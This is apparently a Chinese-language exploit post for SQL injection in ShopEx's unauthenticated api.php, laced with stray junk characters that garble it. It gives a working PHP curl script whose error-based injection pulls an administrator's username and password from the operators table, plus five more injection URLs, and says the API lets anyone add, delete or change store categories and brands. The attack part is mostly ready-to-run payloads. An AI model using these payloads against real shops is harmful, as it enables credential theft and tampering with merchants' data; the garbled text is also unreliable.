|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
7 f |' _, ~+ r5 G$ Z+ Z& o/ Pcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php2 H, e0 Y C! @5 G, H
2 t$ {5 u8 o: B; W# S( Z6 u$ H; s. l
第44行 $data['columns'] 未做过滤导致注入
# `' a! _2 n0 {( |( p) z' _4 p$ Z; _6 X+ _
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.2 J; e8 K' W1 G' z) S% e6 [& A
9 C0 @4 a( e" W. T
注射1:1 P. p @6 t2 k" R/ E
. Y+ e' X; |% Ehttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
( u. Y6 i' x. J, S0 I) ~
! O9 g2 T: C) X6 {: I& T注射2:
; z( ~4 l4 m1 A+ B# S# Ohttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
: R K2 j. @0 b9 [) b0 G, N3 c2 f9 ^7 }' ]3 D9 k7 t' o
注射3:
4 E9 s( `& t* V; {0 o http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx, q/ z& H# Z( K6 B, X& e" Q
注射4:' y( Y% J( V: C8 E, h$ B9 D2 p
% d4 D( T' y6 v6 {/ L1 w: p0 C
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
) I' }( z8 @( Q: G& p: _
, ~+ o5 @" q5 ^8 D+ b: C' v, z# @, u/ t1 d( f9 y/ C P7 K& R8 [
注射5:1 Z3 H' L, o# \- ]+ u
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
$ j) e0 J/ z, D; O
! C% v; J' M( G$ g( D
! s3 t! x9 l$ @- @ g% u1 U
5 [3 g( v, @4 T1 @# W& X
$ B$ f( D. W6 H) n" x0 X& `: g" g9 h- S" J
6 L/ R0 I& K& H1 l; X+ e4 j( s
|
|